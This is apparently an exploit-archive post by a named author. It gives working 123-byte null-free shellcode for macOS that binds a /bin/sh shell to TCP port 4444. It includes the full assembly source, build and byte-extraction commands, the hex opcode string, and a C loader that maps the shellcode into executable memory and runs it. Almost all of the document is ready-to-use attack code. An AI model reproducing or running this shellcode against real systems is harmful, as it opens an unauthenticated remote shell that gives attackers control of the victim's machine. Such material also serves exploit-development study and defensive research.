macOS TCP/4444 Bind Shell Null Free Shellcode

123 bytes small macOS TCP/4444 /bin/sh binding null free shellcode.


MD5 | ca55449bd92fb552c8561d69b522630e

/*
# Title: macOS - Bind (4444/TCP) Shell (/bin/sh) + Null-Free Shellcode (123 bytes)
# Date: 2019-02-17
# Tested: macOS 10.14.1
# Author: Ken Kitahara
# Compilation: gcc -o loader loader.c

dev:works devuser$ sw_vers
ProductName: Mac OS X
ProductVersion: 10.14.1
BuildVersion: 18B75
dev:works devuser$ cat ipv4bind.s
section .text
global start
start:
; socket(AF_INET4, SOCK_STREAM, IPPROTO_IP)
xor rdi, rdi
mul rdi
mov dil, 0x2
xor rsi, rsi
mov sil, 0x1
mov al, 0x2
ror rax, 0x28
mov r8, rax
mov al, 0x61
syscall

; struct sockaddr_in {
; __uint8_t sin_len;
; sa_family_t sin_family;
; in_port_t sin_port;
; struct in_addr sin_addr;
; char sin_zero[8];
; };
mov rsi, 0xffffffffa3eefdf0
neg rsi
push rsi
push rsp
pop rsi

; bind(host_sockid, &sockaddr, 16)
mov rdi, rax
xor dl, 0x10
mov rax, r8
mov al, 0x68
syscall

; listen(host_sockid, 2)
xor rsi, rsi
mov sil, 0x2
mov rax, r8
mov al, 0x6a
syscall

; accept(host_sockid, 0, 0)
xor rsi, rsi
xor rdx, rdx
mov rax, r8
mov al, 0x1e
syscall

mov rdi, rax
mov sil, 0x3

dup2:
; dup2(client_sockid, 2)
; -> dup2(client_sockid, 1)
; -> dup2(client_sockid, 0)
mov rax, r8
mov al, 0x5a
sub sil, 1
syscall
test rsi, rsi
jne dup2

; execve("//bin/sh", 0, 0)
push rsi
mov rdi, 0x68732f6e69622f2f
push rdi
push rsp
pop rdi
mov rax, r8
mov al, 0x3b
syscall
dev:works devuser$ nasm -f macho64 -o ipv4bind.o ipv4bind.s && ld -macosx_version_min 10.7.0 -o ipv4bind ipv4bind.o
dev:works devuser$ for i in $(objdump -d ./ipv4bind.o | grep "^ " | cut -f2); do echo -n '\x'$i; done; echo
\x48\x31\xff\x48\xf7\xe7\x40\xb7\x02\x48\x31\xf6\x40\xb6\x01\xb0\x02\x48\xc1\xc8\x28\x49\x89\xc0\xb0\x61\x0f\x05\x48\xc7\xc6\xf0\xfd\xee\xa3\x48\xf7\xde\x56\x54\x5e\x48\x89\xc7\x80\xf2\x10\x4c\x89\xc0\xb0\x68\x0f\x05\x48\x31\xf6\x40\xb6\x02\x4c\x89\xc0\xb0\x6a\x0f\x05\x48\x31\xf6\x48\x31\xd2\x4c\x89\xc0\xb0\x1e\x0f\x05\x48\x89\xc7\x40\xb6\x03\x4c\x89\xc0\xb0\x5a\x40\x80\xee\x01\x0f\x05\x48\x85\xf6\x75\xf0\x56\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x57\x54\x5f\x4c\x89\xc0\xb0\x3b\x0f\x05
dev:works devuser$
*/

#include <stdio.h>
#include <sys/mman.h>
#include <string.h>
#include <stdlib.h>

int (*sc)();

char shellcode[] =
"\x48\x31\xff\x48\xf7\xe7\x40\xb7\x02\x48\x31\xf6\x40\xb6\x01\xb0\x02\x48\xc1\xc8\x28\x49\x89\xc0\xb0\x61\x0f\x05\x48\xc7\xc6\xf0\xfd\xee\xa3\x48\xf7\xde\x56\x54\x5e\x48\x89\xc7\x80\xf2\x10\x4c\x89\xc0\xb0\x68\x0f\x05\x48\x31\xf6\x40\xb6\x02\x4c\x89\xc0\xb0\x6a\x0f\x05\x48\x31\xf6\x48\x31\xd2\x4c\x89\xc0\xb0\x1e\x0f\x05\x48\x89\xc7\x40\xb6\x03\x4c\x89\xc0\xb0\x5a\x40\x80\xee\x01\x0f\x05\x48\x85\xf6\x75\xf0\x56\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x57\x54\x5f\x4c\x89\xc0\xb0\x3b\x0f\x05";

int main(int argc, char **argv) {
printf("Shellcode Length: %zd Bytes\n", strlen(shellcode));

void *ptr = mmap(0, 0x22, PROT_EXEC | PROT_WRITE | PROT_READ, MAP_ANON | MAP_PRIVATE, -1, 0);

if (ptr == MAP_FAILED) {
perror("mmap");
exit(-1);
}

memcpy(ptr, shellcode, sizeof(shellcode));
sc = ptr;

sc();

return 0;
}

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